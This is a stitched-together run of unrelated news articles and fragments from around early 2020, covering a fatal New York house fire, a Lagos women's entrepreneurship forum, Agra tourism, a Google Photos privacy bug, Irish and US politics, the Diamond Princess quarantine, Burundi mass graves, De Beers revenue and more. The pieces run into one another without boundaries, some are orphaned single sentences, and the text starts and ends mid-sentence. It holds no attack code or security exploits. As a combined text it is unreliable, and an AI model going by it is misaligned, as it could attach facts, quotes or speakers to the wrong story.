on the first floor in the front of the home, deputies said. His body has been taken to the Onondaga County Medical Examiners Office for an autopsy. It appears the fire started near the furnace and hot water heater, deputies said. Although the cause remains under investigation, deputies said the blaze does not appear suspicious. Several fire departments responded to the blaze including the Westmoreland Volunteer Fire Department, the Stanwix Heights Fire Department, the Oriskany Fire Department, the Clark Mills Fire Department, the Verona Fire Department and the Clinton Fire Department. The Central Oneida County Volunteer Ambulance Corps and the American Red Cross also responded. Thanks for visiting Syracuse.com. Quality local journalism has never been more important, and your subscription matters. Not a subscriber yet? Please consider supporting our work. The Africa Women Innovation and Entrepreneurship Forum (AWIEF) (www.AWIEForum.org) is hosting a dialogue on 9 March 2020 in Lagos, Nigeria, to mark International Womens Day and raise awareness of the challenges and opportunities for women entrepreneurs in Africa. We want to discuss meaningful ways to make women benefit from the worlds largest common market for goods and services; and offer a platform for people to connect, share and network, said Irene Ochem, AWIEF Founder and CEO. The aim of the event is to reach regional and pan-African influencers to incite dialogue round generational-equality to entrench a sense of collectivism in working towards actionable solutions for gender equality on the African continent. International Womens Day #IWD2020 takes place on 8 March 2020 with the theme: #EachforEqual, which is the premise that an equal world is an enabled world and that equality is not a womens issue, but a business issue as gender equality is essential for economies and communities to thrive. The theme for the AWIEF IWD day is: A decade of economic emancipation of women in Africa 2020-2030. Ochem explains: How do we ensure that women and women-owned businesses are elevated by the African Continental Free Trade Agreement (AfCFTA), political and economic transformation and that the principle of collectivism is amplified and entrenched. Partners to AWIEF for this key event include the Embassy of Sweden in Abuja, AGRA, OCP Group, APO Group. Making history The AWIEF conference made history in 2019 when it called for the economic empowerment of women to be linked to AfCFTA, at its annual gathering of leading women politicians, businesswomen and entrepreneurs on the continent, 29-30 October 2019, at the Cape Town International Convention Centre (CTICC), Cape Town, South Africa. The initial call was made by renowned economic activist and social entrepreneur, Wendy Luhabe, from the stage on the first day, for radical action and not just conversation, leading to the adoption on Day 2, by the gathering of influential women of a resolution to be delivered to the Chair of the African Union. Said Luhabe, the Founder of Womens Private Equity Fund and co-founder WINDE: Women do not get invited when nations are going through transitions. We have to make a space for ourselves. The resolution states that: The Africa Continental Free Trade Agreement (AfCFTA), is a monumental milestone on Africas developmental roadmap that must be exploited to the full for intra-Africa trade. It will unleash almost unlimited opportunities, new economies of scale, and income and employment generation through greater market and economic integration. Gender inequality persists and women and girls continue to shoulder Africas burden of hunger and poverty. 2020 2030 is the last decade for achieving the UN Sustainable Development Goals (SDGs). The year 2020 also coincides with several important milestones globally and on the continent on gender equality: Implementation of the AfCFTA, a monumental milestone on Africas developmental roadmap, covering a market of more than 1.3 billion people with combined nominal GDP of USD2.5 trillion. Conclusion of the AUs Decade of African Women. End of the commitment made in AU Agenda 2063 of ensuring 50 percent of womens representation in decision-making by 2020. Beijing +25 Review and the Generation Equality Forum. Partager et informez vous aussi...... 0 shares Share Tweet LinkedIn Articles similaires Reaching Agra History of Agra Agra tourist attractions Agra Agra Economy Education in Agra Shopping Areas in Agra Entertainment in Agra Agra is easily accessible from the main cities of India. Delhi is the major city that can be connected to Agra by bus, train, or airplane.While travelling in Agra , it will benefit tourists to carry a map of Agra with them to know more about the city and reach their destination quickly. Agra lies in Uttar Pradesh and is a famous world destination for its various world heritage site, it is important that one visits all the places of interest with a good road map that can show the details along with many important monuments. The Kheria airport provides all domestic flight services. The Agra Fort railway station and the Agra Cantt railway station are the two main railway stations. Altogether there are 7 railway stations. The National Highway No. 2, 3 and 11 run from Agra and help to connect to various cities in the country.The place is a splendid site for the three UNESCO world Heritage sites like the Taj Mahal , Agra Fort and Fatehpur Sikri. It has seen many battles since the time of Mahmud of Ghazni. It is largely recognized as a city of the Mughul Empire. Although the city has been founded much before the time of Sikardar Lodi, Agra came into light during the 1504. Since then many great rulers like Akbar, Jahangir, Shah Jahan, Aurangzeb and later the British took over Agra.The first and the most attractive of all the attractions is the Taj Mahal that was built by Shah Jahan in the memory of his wife. It is the most graceful and extravagant monument found in India. It is built with pure white marble that takes different shades at the different times of the day. It is best seen in the full moon night when the monument shines with its white silver glory.Agra fort is a huge fort built in red stone in the year 1565 by Akbar. The fort had over 500 buildings in which many were made of marble. At that period river Yamuna touched the fort and that is why the fort had many Ghats so that good could be brought in and out of the fort. The fort has great palaces that boast of its richness and its great walls speak a lot about the power and the might of the kind.Many other attractions Mehtab Bagh, Chini Ka Rauza, Ram Bagh, Mariyam's tomb, Jama Masjid and the Dayal bagh are some of the most prominent must see attraction in Agra.The best time to visit places in Agra is from October to March when the climate is pleasant. Agra has more to it than just the Taj Mahal. The people here are quite helpful and are famous for the diverse religious beliefs. There are people of different religions like Hindus, Muslims, Christians, Buddhist and Sikhs. The Taj Mahotsav takes place in the month of February, which displays the real culture of Agra. Google misdirected a number of private videos that users of its Google Photos app intended to back up to Google Takeout, sending them instead to strangers archives, 9to5 Google reported Monday. The company emailed affected users to inform them that a technical issue caused the error, which incorrectly transferred videos for several days before it was fixed. Whoa, what? @googlephotos? pic.twitter.com/2cZsABz1xb Jon Oberheide (@jonoberheide) February 4, 2020 Google recommended that affected users back up their content again and delete their previous backup. They were advised to contact Google Support for further assistance. Google Photos passed the 1 billion user mark last summer. Although it said just 0.01 percent of users were affected, Google did not indicate whether that percentage applied to Google Photos or Google Takeout users. Google did fix the issue quickly, acknowledged Erich Kron, security awareness advocate at KnowBe4. However, the notification process to those impacted was less than satisfactory and left out a lot of details, leaving those possibly impacted unsure of what the exposure risks were for them, he told TechNewsWorld. When dealing with an issue that impacts privacy in the way that improperly sending files as sensitive as photos and videos is, the communication needs to be very clear and informative. Googles notification reads like they really dont care about what happened to the users, and that could backfire badly with organizations like the European Commission, noted Rob Enderle, principal analyst at the Enderle Group. A D V E R T I S E M E N T The issue highlights the challenge with protecting and managing personal photos and videos, said Josh Bohls, founder of Inkscreen. People use their mobile devices to scan business documents, and they use a broad range of photos, video and audio for everyday tasks that drive business processes, he told TechNewsWorld. If you work for a law firm, healthcare provider, insurance company, or in another regulated industry and take photos or record videos as part of your job, your company should strongly consider a solution to protect and manage this content especially if you use Google Photos, Bohls said. Fear and Anger The problem shouldnt happen at all, and it once again points to Google as a firm that cant be trusted with your data, Enderle told TechNewsWorld. If the video content was sensitive and private, then you could have a violation of the GDPR or Californias CCPA, remarked Mike Jude, research director at IDC. That sort of thing could trigger fines and remedial action. Googles failure to disclose who wrongly received videos could lead to more trouble for the company, Enderle pointed out. Users should have a right to that information, and they likely could sue Google to get it. Then, depending on whats in the video, sue them for damages. Any indemnification clause in the user agreement might not protect Google because the issue was due to negligence, he said. I wouldnt be surprised if we saw a class action suit come out of this. While the victims can file suit, or file a complaint under applicable privacy laws, it could backfire on them, IDCs Jude told TechNewsWorld. In the case of provocative material, the temptation would be to pay the ransom rather than face public disclosure, he said. By the Numbers It is possible that thousands were impacted, Jude remarked. It wouldnt pay for Google to announce something like this unless it had a pretty wide reach. A D V E R T I S E M E N T The issue could be quite serious for those affected, said Paul Bischoff, privacy advocate at Comparitech. However, the scale of the problem depends on who really was affected, he told TechNewsWorld. Google pinned that number at 0.01 percent, but do they mean 0.01 percent of Takeout users or of Photo users? Bischoff asked. The former would be a much smaller number. Further, the leaked videos went to other users, not malicious actors, he noted, and it was not intentional on Googles part. For me, those two facts make this less of a big deal. If Google had let an attacker hack its systems or had been hiding a nefarious practice, its privacy or security standards would be called into question, Bischoff said, but bugs happen, and I think people are more forgiving for that sort of thing. What Google Can or Should Do Google should do whatever it takes to secure the mis-sent videos, Enderle recommended. It probably wont be enough, but if they wait for regulatory action, the result could be very expensive, he warned. Ethically, Google should help them, said IDCs Jude. Would they? Probably not, unless theres some explicit guarantee that the data stored with Google is secure. Google could offer identity theft protection for the victims, but theres not much it can do until the damage is done, Comparitechs Bischoff noted. If it can find out exactly which videos and photos were sent incorrectly, Google should absolutely inform the owners of what was compromised, Bischoff recommended. It might step in as a mediator to protect both parties privacy in case any victims wanted to communicate with those who received their videos by mistake. Google is a free service, more or less, that provides access in exchange for looking over your shoulder as you use the service, Jude remarked. It is not a public commons, and there really should be no expectation of privacy. Users should opt for a paid storage service, suggested Enderle, while Jude said storing videos and photos locally might be a better option. I saw a 2-TB SSD the other day for (US)$69, he said. Back when I was in college, I saw an article in the magazine Datamation that said the total computer storage of the planet was about 1 TB. Twenty-five percent of the population show patterns of antisocial behavior at least once during their childhood and adolescence. However, there is hope for people to grow out of this behavior. People who persistently lie, steal and bully others have smaller brains than those who behave better, according to a study by University College London published in the journal "The Lancet Psychiatry." Scientists said that naughty young children should be provided more help than is currently offered to prevent them from falling into a life of crime. They added that parents should also be offered classes. According to lead author Christina Carlisi from UCL, "Our findings support the idea that, for the small proportion of individuals with life-course-persistent antisocial behavior, there may be differences in their brain structure that make it difficult for them to develop social skills that prevent them from engaging in antisocial behavior." The study by UCL examined 672 adults who underwent MRI scans at the age of 45. Those who had shown antisocial behavior from childhood were shown to have had reduced surface area and thinner cortex in parts of the brain previously linked to such behavior. It was ambiguous if this was inherited or due to factors such as low IQ, substance abuse, or poor mental health. Also Read: Bully And The Brain: Being Bullied Actually Causes Brain Inflammation, Study Says The authors of the study noted that going off the rails as a teenager was fairly normal. But younger children who unrelentingly behave badly in the long term run the risk of becoming criminals due to how their brains have formed. Compared to behaved people, individuals exhibiting antisocial behavior in the long term such as stealing, lying, bullying, or violence may have thinner outer brain layer, the cortex, and smaller surface area in regions associated with antisocial behavior. These regions are associated with executive function, motivation, and affect. Some people exhibit life-course-persistent antisocial behavior that begins in childhood and endures into adulthood, while others manifest the trait in adolescence but desists upon reaching adulthood. However, the researchers did not see any widespread structural brain abnormalities in people who exhibited antisocial behavior only during adolescence. Unfortunately, they were not able to identify whether the behavior shaped the brain or the structure caused the behavior. Carlisi added, "Most people who exhibit antisocial behavior primarily do so only in adolescence, likely as a result of navigating socially difficult years, and these individuals do not display structural brain differences." The individuals are usually capable of reformation and going back to becoming valuable members of society. The study is the first robust evidence to suggest people who offended persistently all their lives had underlying neuropsychological differences. Bullies who were at an increased risk of incarceration and poor physical and mental health later in life may be dealing with some level of disability. Related Article: Canadian Teen Spreads Positive Post-Its In Response To Bully; Gets Reprimanded For Littering @ 2022 HNGN, All rights reserved. Do not reproduce without permission. I rish leader Leo Varadkar has said he will resign following an inconclusive result of the country's general election. No clear successor emerged from political wrangling designed to decide which party would lead following the near three-way tie. The Taoiseach, who has been in power since 2017, tendered his resignation on Thursday evening, RTE reported. Mr Varadkar's Fine Gael party came third behind Fianna Fail and Sinn Fein at the election two weeks ago. Talks among the parties have failed to make much progress since the February 8 vote. The election brought a breakthrough for Sinn Fein at the expense of the two long-dominant centrist parties, Fianna Fail and Fine Gael. Fianna Fail and Sinn Fein each hold 37 seats in the 160-seat Dail, parliament's lower house. Fine Gael has 35. Thursday's session opened with the election of a speaker, followed by parties nominating their candidates for Taoiseach, or prime minister. Sinn Fein leader Mary Lou McDonald, Fianna Fail leader Micheal Martin and Mr Varadkar were all nominated to the top post. However, none secured enough votes to be elected. Following his resignation, Mr Varadkar will stay on as caretaker leader until a successor is chosen. He is due to travel to Washington next month for the traditional St. Patrick's Day visit to the White House by Ireland's leader. KYODO NEWS - Feb 22, 2020 - 04:25 | All, Japan, Coronavirus A total of 970 passengers have disembarked from the coronavirus-hit cruise ship Diamond Princess since a two-week quarantine period ended two days ago, the health ministry said Friday. The third and final group of 253 passengers who tested negative for the coronavirus on the cruise ship in the port of Yokohama, near Tokyo, have disembarked, the Ministry of Health, Labor and Welfare said. The three-day process involved a group of 443 passengers who left on Wednesday, followed by 274 passengers on Thursday. The ship arrived at the port carrying some 3,700 passengers and crew. Those who tested positive were sent to medical facilities, of whom two Japanese passengers have died. Around 300 passengers and about a thousand crew members remain aboard the vessel, the ministry said. Those still on the ship include over 100 passengers who had close contact with infected passengers by sharing rooms and they will also disembark and move to a government-provided facility on Saturday for an extended quarantine, the ministry said, scrapping the original plan to make them stay another 14 days on the ship. The government will keep on board foreign passengers waiting for charter flights that will take them back to their home countries. Japanese Foreign Minister Toshimitsu Motegi said at a press conference that 759 foreign nationals have already been evacuated by the United States, South Korea, Australia, Hong Kong, Israel and Canada. Britain, Italy and Taiwan sent planes to repatriate citizens Friday, while Indonesia and the Philippines plan to do so. "We will do everything we can to support foreign nationals," Motegi said. The departures have come amid mounting criticism of the Japanese government's handling of the pneumonia-causing coronavirus outbreak. The virus, which originated in China's Hubei Province, spread on the ship during its two-week quarantine period. The quarantine period, which was intended to prevent the coronavirus from spreading in Japan, has been criticized for potentially worsening the outbreak on the ship. There have been 634 confirmed cases of the virus from among those on the ship. Of them, an 87-year-old man and an 84-year-old woman died Thursday after being hospitalized. Thirty-three passengers, all of them in their 40s through 80s, were listed in serious condition as of Friday, and among them 18 have chronic diseases. Kentaro Iwata, an expert on infectious diseases at Kobe University Hospital who was a part of a medical response team that boarded the ship, described this week "chaotic" scenes with no proper distinction between infected and non-infected zones in now-removed YouTube videos, although he said Thursday he was informed the situation has since improved. The government has defended its measures, with Health, Labor and Welfare Minister Katsunobu Kato saying, "The appropriate steps were taken under the direction of doctors aboard the ship." (Japanese health minister Katsunobu Kato speaks about a new coronavirus at a press conference in Tokyo on Feb. 21, 2020.) Meanwhile, Motegi said nine countries -- Bhutan, Israel, Kiribati, Micronesia, Samoa, the Solomon Islands, South Korea, Thailand and Tonga -- have issued warnings against traveling to Japan, which, including the Diamond Princess, accounts for the most infections globally behind China. The total number of infections confirmed in Japan topped 730 on Friday with more new cases, including two brothers attending a primary school, reported in Hokkaido, and a preschool boy in Saitama Prefecture. The brothers' school in Nakafurano on Friday canceled all afternoon classes and sent home around 200 students following their diagnosis. Authorities in Hokkaido are investigating how the boys, neither of whom had been overseas lately, contracted the virus. The boy in Saitama Prefecture returned from Wuhan at the center of the virus outbreak to Japan on a government-chartered flight on Jan. 30 with his father who tested positive for the virus on Feb. 10. As part of efforts to prevent further spread of the new coronavirus in Japan, the health ministry said Friday it will encourage more companies to promote telework and staggered working hours. The ministry will make the request through the Japan Business Federation and other lobbies. It will also ask firms to enable employees with fever or other symptoms to take off work at ease. "We need the understanding of companies to keep the virus from spreading," Kato said at a press conference. Related coverage: China records 2 straight days of fewer than 1,000 new COVID-19 cases Tokyo Olympics to be held as planned despite new coronavirus: Suga S. Korea sees surge in coronavirus cases, worries grow over sect members On Wednesday morning, Michael Bloombergs campaign issued a dire warning in a memo: Bernie Sanders would soon become unstoppable unless Joe Biden, Pete Buttigieg, and Amy Klobuchar dropped out of the race so Bloomberg could defeat him in a head-to-head matchup. Less than 30 minutes into the Democratic debate in Las Vegas on Wednesday night, it was more reasonable to ask why Bloomberg doesnt drop out and endorse one of the three relative moderates in the race. The billionaire and former New York mayor emerged from his first presidential-primary debate badly wounded. He did not appear at all to be the man who could beat Sanders in a head-to-head race. Just minutes after the debate started, Elizabeth Warren went after Bloomberg, and she didnt let up. Id like to talk about who were running against: A billionaire who calls women fat broads and horse-faced lesbians, and no, Im not talking about Donald Trump, Im talking about Mayor Bloomberg, she said. She went on to hit Bloomberg for supporting racist policies like redlining and stop-and-frisk. After calling Bloomberg a sexist and a racist, she was careful to pledge that shed vote for him if hes the Democratic nominee: Look, Ill support whoever the Democratic nominee is, but understand this. Democrats take a huge risk if we just substitute one arrogant billionaire for another. That was a bit odd, but it likely didnt stick in viewers minds. Warrens most memorable moment of the night was when she shredded Bloomberg over his requiring some female employees to sign non-disclosure agreements. Warren said Bloomberg had gotten perhaps dozens of women to sign such agreements for both for sexual harassment and for gender discrimination in the workplace. So, Mr. Mayor, are you willing to release all of those women from those non-disclosure agreements, so we can hear their side of the story? Bloomberg responded he wouldnt release them because the agreements with women were consensual and: None of them accuse me of doing anything other than maybe they didnt like a joke I told. Story continues Warrens show of force against Bloomberg could help her win over some undecided voters and peel away some of the soft supporters of Buttigieg and Klobuchar. Its easy to see her finishing second in Nevadas caucuses after Wednesdays debate. But where does she go from there? The strategic error in her plan of attack on Wednesday night was her failure to hit Bernie Sanders. If she has a chance of mounting a comeback, she needs to take away some of the Vermont senators supporters, and its hard to see how Wednesday nights debate helped her much on that front. So the consensus take on the debate seems correct: Bloomberg lost and Sanders won. Its true that Bloomberg landed a few good jabs on Sanders. What a wonderful country we have. The best-known socialist in the country happens to be a millionaire with three houses, Bloomberg said. Sanders snapped back that he simply owned a summer camp (with 500 feet of beachfront on Lake Champlain) in addition to his places in Burlington and Washington. Yet Sanders seemed to walk away from the debate stronger than ever. The squabbling among Buttigieg and Klobuchar, the runners-up in New Hampshire, is going to make it very difficult for either of them to take off in Nevada on Saturday, and theyre both in desperate need of a nationwide boost before the Super Tuesday primaries on March 3. With Bloomberg flopping and Buttigieg and Klobuchar failing to take off, will Democrats wishing to stop Sanders turn their lonely eyes back to Joe Biden? He underperformed the polls in Iowa and New Hampshire, and his lead in South Carolina has been shrinking. Maybe he will be helped to rebound in national polls by Bloombergs poor debate. Maybe Tom Steyer, who is polling in double digits in South Carolina, will implode on the debate stage next week before that state votes. But if Biden doesnt come in first in South Carolina, its hard to see how he or anyone else will stop Sanders from winning the most delegates and the most votes in the race for the partys nomination. More from National Review The government is inching towards a relaxation of the coronavirus travel ban for stranded Chinese students, with the country's top medical officials advising they could soon be permitted to return to Australia subject to public health guarantees. With universities facing major financial losses as 100,000 foreign students remain stuck offshore while the semester begins, the government is developing options to contain the fallout for the sector. The travel ban has been extended for another week but federal and state chief health and medical officers have advised "there is a case for government to consider ... a temporary relaxation of the travel restrictions to allow entry to a larger number of tertiary students" after February 29 if coronavirus cases in China do not blow out. The officers cautioned that any easing of restrictions should be subject to cases levelling off in provinces outside Hubei, where the outbreak began. The advice stated there would still be a low risk of importing cases to Australia if the current characteristics of the virus were maintained. I dont know how much longer well have Michael Bloomberg to kick around or, if he persists, whether he will remain worth writing about as a candidate. However, I want to say more about the attacks against him for his alleged behavior towards female employees. I dont want to discuss this from a political perspective, except to say that the allegations are extremely damaging politically. I want to talk about the merits. Lets begin with the non-disclosure agreements. Bloomberg is right not to authorize the disclosure of that which his accusers agreed not to disclose. The allegations made against Bloomberg were never tested in court because his accusers chose not to test them. That being the case, we have no way knowing whether they had a substantial basis in fact. And it should be obvious that they cant fairly be litigated many years after the alleged events may have taken place, in the context of an election campaign. The EEOC did litigate allegations of sex discrimination against Bloombergs company. Bloomberg prevailed in that litigation. I did a very small amount of work in defense of Bloomberg before the attorney in charge of the litigation left for another firm. Obviously, I cant discuss any impressions I formed about the case or any facts I learned about it that arent in the public record. I rely here only on the courts decision. A federal judge (Loretta Preska, who at the time of the litigation was the chief judge of the U.S. District Court for the Southern District of New York) found that Bloombergs company did not engage in sex discrimination on the basis of pregnancy. Note that claims about Bloombergs treatment of pregnant women seem to be at the heart of some of the negative reporting about his alleged sexism. You can find Judge Preskas decision here. It is published at 778 F. Supp. 2d 458 (S.D.N.Y. 2011). The opinion begins this way: In a heralded complaint, the United States Equal Employment Opportunity Commission accused Bloomberg L.P. of engaging in a pattern or practice of discrimination against pregnant employees or those who have recently returned from maternity leave in violation of Title VII, 42 United States Code. However, Jaccuse! is not enough in court. Evidence is required. The evidence presented in this case is insufficient to demonstrate that discrimination was Bloombergs standard operating procedure, even if there were several isolated instances of individual discrimination. As its standard operating procedure, Bloomberg increased compensation for women returning from maternity leave more than for those who took similarly lengthy leaves and did not reduce the responsibilities of women returning from maternity leave any more than of those who took similarly lengthy leaves. 778 F. Supp. 2d at 46162. In other words, Bloombergs company actually favored women who took maternity leave. The statistical evidence established this. The anecdotal evidence was to the same effect. Here are excerpts from Judge Preskas opinion: [S]ince 2001, when [this class member] announced her pregnancy, her total intended compensation was as follows: $219,534 in 2001, $221,529 in 2002, $244,677 in 2003, $292,240 in 2004, $294,318 in 2005, $284,626 in 2006, $318,760 in 2007, and $304,187 in 2008. 778 F. Supp. 2d at 474. [This class member] said that Bloomberg has been very good to me, that she had an amazing experience there, and that she has had excellent experiences as a working mother at Bloomberg. Her total intended compensation increased every year between 2003 and 2008, moving from $173,135 to $463,980. 778 F. Supp. 2d at 475 [This class member] took maternity leave from September 2003 to February 2004, and her intended compensation was $173,228 in 2003, $222,086 in 2004, $242,926 in 2005, and $250,486 in 2006. 778 F. Supp. 2d at 475. Intended compensation means the amount each employee was expected to earn. The actual numbers varied depending on how profitable the company was in a given year. The EEOCs case against Bloomberg was so weak that Judge Preska, without being asked to, invited Bloomberg to apply for attorneys fees. The litigation ended when the EEOC agreed to drop its appeal. My discussion of the litigation highlights how stupid (substantively, not politically) Elizabeth Warrens response to Bloombergs defense was last night. The insufferable Massachusetts demagogue exclaimed, I hope you heard what [Bloombergs] defense was: Ive been nice to some women.' No. Bloombergs defense is that he treats women fairly as a group. The statistics and the anecdotal evidence in the one case I know of that was tested in court confirm his defense. I strongly suspect that, between his business and his philanthropy, Bloomberg has done considerably more to help women than Warren has. Posturing and saying babies a lot doesnt help women. I want to be clear, though, about what Im saying and what Im not saying. Bloombergs campaign has admitted that he made crude remarks and jokes about women during the 1980s and 1990s. And Judge Preska suggested that there might be several isolated cases of individual discrimination at Bloombergs company. Its not unreasonable for voters to hold this against him (nor is it unreasonable for them to forgive his conduct or overlook it). However, the following reality should not be lost in the shuffle: Bloombergs company paid most of its employees (and most of its women) well above the market rate, many women loved working for Bloomberg and his company, and the claim that he engaged in a practice of discriminating against women failed miserably in court. A government commission which has exhumed the remains of more than 6,000 Burundians slaughtered in pogroms in 1972 is being accused of exploiting the sombre task for political gain and stoking ethnic tensions ahead of elections. The Truth and Reconciliation Commission (TRC), set up in 2014 to deliver justice and closure to victims of Burundi's darkest chapters, has been excavating the mass grave since the start of the year -- and believes there are many more similar sites. Hundreds of thousands of Burundians died in waves of ethnic violence and civil war that have scarred the country since independence in 1962, with massacres between the Hutu ethnic majority and the minority Tutsi. Two major slaughters were the 1972 killings of mainly Hutu by Tutsi and the 1993 killings of mainly Tutsi by Hutu. The TRC was established in 2014 to deliver justice and closure to victims of Burundi's darkest chapters. On Monday, Commission chairman Pierre-Claver Ndayicariye said graves discovered along Ruvubu, about 20 kilometres (12 miles) from Burundi's new administrative capital Gitega, could be just the beginning. "Witnesses speak of other mass graves further away in cornfields," he told AFP, indicating a dozen other sites had been flagged for investigation. But opponents of Burundi's ruling party say the commission has abused its mandate by preferencing excavation work at sites where Hutus were buried, while ignoring pits containing Tutsi victims. Critics allege the commission's work at Ruvubu amounts to political interference at a critical moment as presidential elections loom in May. "The TRC is deliberately targeting mass graves which it says are those of Hutu victims, while every one knows there was a slaughter of Tutsi in 1993," near the current sites being explored, said Emmanuel Nkurunziza, from the Canadian branch of AC Genocide Cirimoso, an activist group. "It is participating in the election campaign" of the ruling CNDD-FDD party by rallying Burundi's Hutus to its cause, he said. President Pierre Nkurunziza is a former Hutu rebel whose father was killed in one of the ethnic massacres in 1972 that decimated the Hutu elite. The cultish leader, who believes he was chosen by God to rule the nation, is not seeking a new mandate after his contentious election to a third term in 2015 plunged Burundi into a crisis. The violent aftermath left 1,200 people dead and made Burundi a focus of an investigation by the International Criminal Court for alleged murder, rape, torture and disappearances. Despite the Hutu being the majority in the country, it was the Tutsi who were favoured by colonial administrators who held a monopoly on power after independence. Burundi's first Hutu prime minister after independence was assassinated in 1965. That same year after the Hutu won a parliamentary election the then-king refused to accept their choice as prime minister and appointed a Tutsi. It was these tensions which simmered and culminated in a Hutu revolt in 1972 in which thousands of Tutsi were killed, followed by a deadly reprisal which Hutu activists say led to between 100,000 and 300,000 of their people being massacred. Witnesses told the commission that in May and June 1972, Hutus "were transported from Gitega prison by trucks every night" to the banks of the Ruvubu, where they were executed and dumped in pits. Ndayicariye said "it was not for the commission to say whether the victims were Hutu or Tutsi". "They are Burundians, first and foremost," he said, adding a thorough investigation would identify the victims and their tormentors. But Vital Nshimirimana, a civil society activist in exile, said the commission had drawn "hasty conclusions" to support a narrative of Hutu victimhood, a potent rallying cry in the pre-election phase. In 1993, the country's first free presidential election saw the first Hutu president elected. Just four months later the president was assassinated in an attempted Tutsi-led coup, setting off a wave of killings of thousands of Tutsi. The events prompted further reprisals and plunged the country into a civil war which lasted until 2006 and left an estimated 300,000 dead on all sides. As in neighbouring Rwanda, where similar ethnic tensions culminated in the 1994 genocide of at least 800,000 mainly Tutsi by Hutu, the historical narrative of victimhood remains extremely sensitive. The TRC has so far identified 4,000 grave sites across the country and exhumed 142,500 victims. The commission is comprised almost exclusively of ruling party cadres and Ndayicariye, its chairman, was head of Burundi's election commission during the 2010 and 2015 polls. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) (Kitco News) - The turning away from 'bricks and mortar' to online cut De Beers revenue by 45% to $558 million. Anglo American (JSE:ZAR), which is the parent of De Beers, published its year-end results Friday. The South African diversified miner blamed shifting consumer preferences for the drop. "Throughout the course of 2019, the midstream inventory position was under further pressure due to the closure of some US 'bricks and mortar' retail outlets, an increase in online purchasing (where inventory levels are lower), and retailers increasing their stock held on consignment. Tighter financing also affected the midstreams ability to hold stock, all of which resulted in lower demand for rough diamonds," wrote the company. De Beers said it invested in downstream brands to support future growth for natural diamonds. It also invested in online. "Preliminary data following the holiday retail season in 2019 indicates that stock levels in the industrys midstream are returning to a more balanced position following stable consumer demand, especially in the U.S. "However, risks remain to the downside, with further increases in online purchasing causing additional retailer destocking, developments in US-China trade tensions, the coronavirus which originated in China over Chinese New Year, geo-political escalation in the Middle East and the effect those may have on economic growth and consumer sentiment." Last yeara saw some notable brands take a hit due to pressure from online retailers. Gymboree and Forever 21 were a few of the casualties. They should be able to now enrol them after the completion of service; that is for those qualified. That way, it can address the unemployment problem and job scams in Nigeria. A Met police officer who amassed 70,000 followers on Instagram with his humorous videos tackling gang crime has tragically died at age 37. Andy Taylor, known as Big Andy, became an online sensation after he was filmed approaching gangs with a pink unicorn t-shirt and steering teenagers away from knife crime. The officer, from Brackley, Oxfordshire, who was credited with changing attitudes to the police on social media, passed away on January 29. Met PC Andy Taylor (pictured right with rugby player Chris Robshaw), known as Big Andy, died at 37 on January 29 A blood clot formed in his brain stem after he suffered a stroke, tests revealed. The father-of-three left behind his wife of 11 years Holly Taylor, 35 and three children Aurora, six, Aurelia, four, and two-year-old Xander. Thousands of young people paid tribute to Big Andy on social media who was dubbed by his fans as the UKs most popular police officer. Tragic: The father-of-three has left behind his wife of eleven years Holly Taylor, 35 and three children Aurora, six, Aurelia, four, and two-year-old Xander (pictured) The officer (pictured) became an online sensation after he filmed videos approaching gangs with a pink unicorn emblazoned t-shirt and steering teens away from knife crime Jvmi wrote: 'RIP to one of the coolest cops in the force.' Imran Hussain Amir said Andy 'restored [his] faith in the police and was a 'great human'. Cpkilmartin added 'RIP My unicorn hero' while another admitted he was the 'only fed man I actually liked'. He was a 'massive presence' and his biggest asset was communication, according to his wife Mrs Taylor, 35. She is pictured holding up a black-and-white portrait of Andy with her son Xander Another individual wrote 'RIP to the only cop that was actually respected on the gram' - whilst a user called Bjjr.x13 sadly remarked 'this was the only fed that I wanted to stay'. In his videos, Andy would use humour to persuade young people against knife and gang crime - wearing his trademark unicorn t-shirt and his comic catchphrase 'go clean your room!' The officer, known as Big Andy, is pictured with his wife on their wedding day. They have been married for 11 years Mrs Taylor, who is also a Met Police Officer, described her husband as a 'massive presence'. She said: 'Communication was his biggest asset. Andy prided himself on his belief that communication was all about respect and all about talking to people and understanding what theyre going through. 'He believed that just because someone was doing something bad that doesnt make them bad.' A Just Giving campaign made by fans has reached almost 17,000 after it was set up to benefit Andys family here. The camp appeared not long after the Mounties moved in to enforce an injunction against members of Wetsuweten blocking Coastal GasLink construction. When I visited the camp during its first week, everyone I spoke with said it was set up spontaneously and was intended both to show solidarity with the Wetsuweten opponents and their land claims and to draw attention to Mohawk land disputes. The Mohawks there have a long history of disrupting the rail line in protests. The camp is not endorsed by the local band council leadership and is relatively small in numbers. No one acts as an official spokesman, although three or four of its members appeared to have informal leadership roles. Everyone I spoke with said they were Mohawk. Although some of them lived in other First Nations in Ontario and Quebec and at least one was a resident of Ottawa. Is There an Obvious Solution? Many of the Mohawks at Tyendinaga have said that theyll let trains roll again if the Mounties leave Wetsuweten territory. The police force has offered to move its temporary detachment at the pipeline into a nearby town if the construction road remains open. As of midday Friday, no one in the Indigenous community has said if that would satisfy them. Legal experts agree that neither the federal nor the provincial governments have the power in this case to order police to move in, tear down the blockades and arrest the protesters. The potential for violence aside, there is little guarantee that other blockades wont immediately replace them elsewhere. Finally sorting out the hereditary chiefs grievances over Coastal GasLink will most likely be a protracted affair. One that will continue much longer than the nation will tolerate the disruption and economic costs of the blockades. The 2010s were a halcyon decade for Australia's leading universities. Australia now has seven universities in the global top 100, according to the industry-standard Academic Ranking of World Universities, compared with just three in 2010. Almost the entire G8 is now in the global top 100, with the sole exception of Adelaide. Reflecting the biases of Chinese sponsors, the ARWU is based entirely on hard research metrics. There's no mucking about with reputation surveys or student satisfaction. It's all about Nobel prizes, citation counts, and papers in prestigious journals. Your award-winning Oxford University Press book on Aristotle's metaphysics doesn't even get counted. So how did Australian universities, with their real (but uncounted) strengths in the humanities, law, music, and art, rise to third in the world in the science-heavy ARWU rankings? In a word: money. For the past two decades, Australia's top universities have been buying up top researchers from around the world, offering them world-class facilities and teaching-free career tracks in exchange for bringing their publication portfolios to Australia. As a result, the country is now a research powerhouse to rival the United Kingdom. Regretting the incident and denouncing the activist, Owaisi said in Hindi-Urdu that he and his party was against such slogans as they are for India and proud of being Indians.We do not agree with the activist shouting such slogans. The organisers should not have invited her to the rally. If I knew this, I would not have come and we don't have any link with her. We are for India and don't support our enemy nation Pakistan. Our drive is to save India and our Constitution," asserted Owaisi. (Image: PTI) President of the 'Cartel ALFA' National Trade Union Confederation Bogdan Hossu told a press conference held in Cluj on Friday that the Emergency Ordinance (OUG) on healthcare is, in fact, a masked privatization of the medical system. "The OUG on healthcare is actually a 